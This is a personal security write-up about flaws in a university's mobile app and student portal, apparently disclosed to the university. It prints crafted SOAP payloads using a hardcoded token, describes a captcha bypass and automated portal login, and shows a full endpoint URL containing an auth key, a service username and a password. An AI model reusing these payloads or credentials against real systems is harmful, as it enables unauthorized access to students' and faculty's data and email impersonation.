Security Jul 28, 2025

Exposing Critical Vulnerabilities in UMT's Mobile App

A deep dive into discovering hardcoded tokens, unprotected API endpoints, and internal email systems in a university mobile application.

Disclaimer: I am not the person responsible for the ransomware attack on UMT that occurred in 2024 and rendered the entirety of university’s digital infrastructure useless. The vulnerabilities I discovered were critical but were not exploited in any malicious fashion and I disclosed everything to the concerned authorities.

I’m an AI student, but I’ve never been just that. My interests have always been diverse and deep - from crafting electronic music and playing piano, to dissecting sound layers through active listening. I’ve built video games, mobile apps, and websites - not for grades, but because the process fascinated me. For me, learning has always been about curiosity, not checkboxes. It’s never been about chasing grades - it’s been about chasing the spark.

One random week during my semester freeze, I found myself in full unwind mode: no assignments, no deadlines, just me, my laptop, and a playlist of hacking documentaries running in the background. Something about those stories - the quiet brilliance, the way people broke things to get inside systems that seemed impenetrable, it was extremely fascinating to me. I’d found hacking mesmerizing my entire life because of an early exposure and access to computers and the internet. I had peeked at my university’s website before and discovered some vulnerabilities before and it was no secret since their website regularly faced downtimes and leaked error details due to poor exception handling. However, none of my discoveries were severe. This is when I decided to look into something else, their mobile application.

What I uncovered was far more than I expected.

First of all, the vulnerability that has existed for ages on the student portal is the Captcha Bypass:

Captcha Bypass

The entire purpose of a captcha is to defeat bots from flooding the website with requests. However in our case, the value SecurityCodeText (captcha challenge) is client-sided and a payload can easily be crafted which sets both the captcha and SecurityCode (input) equal, allowing the request to pass. This is critical because this opens the door for brute-forcing and mass form submission which can cause disruptions and rate-limit legitimate users by flooding the server.

Later, while testing the form with slightly unusual input (like symbols and code-like text), I sent a value that looked like XML. Instead of rejecting it gracefully, the app crashed and returned a raw server error exposing technical details - like the backend using Microsoft .NET and expecting XML in some places.

This means the server was expecting plain text, but caught off guard by the XML-like input and defaulted to a generic defense mechanism. However, this kind of defense only blocks obvious payloads. Certain specially crafted valid XML inputs that don’t trigger the built, especially if input validation is turned off on other pages or forms.

In older or misconfigured ASP .NET environments, this opens doors to deeper attacks like:

Reading sensitive system files using XXE.
Triggering requests to other internal systems
Slowing or crashing the server with large or recursive XML structures.

There were also a number of other misconfigurations that revealed about the website and piecing them all together and crafting payloads that can bypass the outdated defenses can be really damaging.

Digging into the Mobile App: The Real Treasure Chest

Alright - here’s where it gets juicy. After casually reverse engineering the university’s mobile application, I started combing through the decompiled code, and what I found wasn’t just messy, it was outright dangerous.

Hidden in plain sight were hardcoded tokens, unprotected API endpoints, and references to sensitive backend systems that most devs would pray never see daylight. The app, which was meant to just serve students with grades, attendance, and notifications, turned out to be a window into much more than that.

This section walks through the parts of the app that exposed:

Auth tokens embedded in the code
Admin-level APIs accessible to anyone who knew where to look
Student and faculty data retrieval
Access to the university’s internal mailing system

The further I looked, the more it felt like I was peeking behind a curtain that wasn’t meant to be there in the first place. What started as curiosity quickly turned into serious security concern.

1) Hardcoded Tokens & API Endpoints in Decompiled Code

While browsing through the decompiled Java files of the app, I stumbled across hardcoded sensitive tokens directly embedded into the code. These tokens were likely meant for backend communication and carried escalated privileges, including access to endpoints that should’ve been restricted. In a production-grade system, this is a massive red-flag, as tokens should always be fetched dynamically and stored securely, not hardcoded into public-facing apps.

Hardcoded tokens in code Hardcoded sensitive data in code

The above code shows a sensitive token UmtWebSite which was valid at the time of exploitation (It was changed after I reported to UMT) and allowed me to access the blurred out admin SOAP-based API endpoint of UMT and allowed me to gain access to several functions some of which are the following:

SOAP API Functions

2) Authentication-Bypassed API Endpoints

The app was making calls to several REST endpoints using those same tokens - without checking the identity of the user. This means if you had the token, you could hit those endpoints manually and get data that wasn’t meant for you. The above GetUsers function was particularly interesting so I looked into its WSDL details (Some details I have obfuscated intentionally):

POST [obfuscated] HTTP/1.1
Host: [obfuscated]
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/GetUsers"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUsers xmlns="http://tempuri.org/">
      <strTokenKey>string</strTokenKey>
      <strPagger>string</strPagger>
      <lstType>
        <UserType>Managment or Faculty or Guest or Other_Academic_Positions or Student or Alumni</UserType>
        <UserType>Managment or Faculty or Guest or Other_Academic_Positions or Student or Alumni</UserType>
      </lstType>
      <strFilter>string</strFilter>
      <intSiteIdRef>int</intSiteIdRef>
    </GetUsers>
  </soap:Body>
</soap:Envelope>

The function expected a strTokenKey which I conveniently found in the mobile app and rest of the details were just fillers so I crafted a payload:

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
    <GetUsers xmlns="http://tempuri.org/">
      <strTokenKey>UMTWebSite</strTokenKey>
      <strPagger></strPagger>
      <lstType>
        <UserType>Faculty</UserType>
      </lstType>
      <strFilter></strFilter>
      <intSiteIdRef xsi:nil="true" />
    </GetUsers>
  </soap:Body>
</soap:Envelope>

And Voila! I was able to able to fetch all the faculty information (including encrypted passwords):

XML Faculty Info

The raw XML is a whooping 9000 lines long! All the data that I was able to extract through the various functions:

Extracted Data

3) Student Data Exposure

https://m1api.umt.edu.pk/Orientation.asmx/getStudentInfo?&auth=a_c194ff6bdea3e51180c70cc47a3494d5&p_UserName=mobappinteg&p_Password=app%26*INt778899&studentid=[idhere]

This was a particularly interesting string that I found in the mobile application. I found it in the orientation activity in the mobile app and it was clear that it was used to fetch the information for new students. I was able to fetch data for any student including their password. The password was limited to students after F2021 which I reckon happened because their system obfuscates passwords for older students since the endpoint was related to orientation.

Student Info

I even made a C++ program (Github) that I used to automate the process of fetching information for a student and applying it on the portal by utilizing the first exploit of captcha bypass:

C++ automation program

Yes! I had the power to get into any new student’s portal for over three weeks.

The entire m1api was taken down following my disclosure to the IT team of UMT.

4) Exploitable University Email System

Out of everything I uncovered, the SendEmail function was the diamond. While following a trail of API calls, It was essentially a function connected directly to the university’s official email system - specifically the noreply@umt.edu.pk address used to send announcements to thousands of students and faculty. With the same hardcoded token from earlier, I was able to trigger this endpoint and simulate internal email broadcasts - no authentication, no confirmation, just raw, unchecked access. This wasn’t just a bug; this was a tool to weaponize trust. The WSDL definition for the function was:

POST [obfuscated] HTTP/1.1
Host: [obfuscated]
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/SendEmail"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SendEmail xmlns="http://tempuri.org/">
      <strTokenKey>string</strTokenKey>
      <strEmailFrom>string</strEmailFrom>
      <lstEmailTo>
        <string>string</string>
        <string>string</string>
      </lstEmailTo>
      <lstEmailCc>
        <string>string</string>
        <string>string</string>
      </lstEmailCc>
      <strSubject>string</strSubject>
      <strBody>string</strBody>
      <lstEmailBcc>
        <string>string</string>
        <string>string</string>
      </lstEmailBcc>
      <SiteId>int</SiteId>
    </SendEmail>
  </soap:Body>
</soap:Envelope>

Upon crafting a payload with the lstEmailTo set to my own email, I was successfully was able to receive an email from UMT.

Received Email

Yes! I had the power to sending mass emails to faculty and students from a trusted internal domain and get them to install and run malicious programs by meticulous social engineering, that would have allowed me to gain access and compromise their computers. I could also send this email to people outside UMT and that was a prime impersonation vector.

Aftermath & Conclusion

I’ve never believed grades define intelligence and this experience only proved it further. I didn’t find all this because of my coursework. I found it because I chase what genuinely interests me. Because I learn outside the lines. Because when something feels broken, I need to understand why and how deep it goes. No one taught me how to reverse engineer an Android app. No one walked me through how token auth works or how to identify insecure endpoints. I figured it out because I wanted to. While others were chasing GPA points, I was dissecting systems and learning more than any semester ever offered me.

The vulnerabilities I uncovered weren’t just bugs. They were the kind of access that could change records, impersonate officials, or completely hijack trust in the university’s digital system. And I found them not because I was told to but because I was curious and skilled enough to look. The President of the university later emailed me directly to acknowledge my disclosure.

Email from President

Grades reward obedience. Real skills come from obsession, from hours chasing threads no one else notices. That’s what makes you dangerous.

can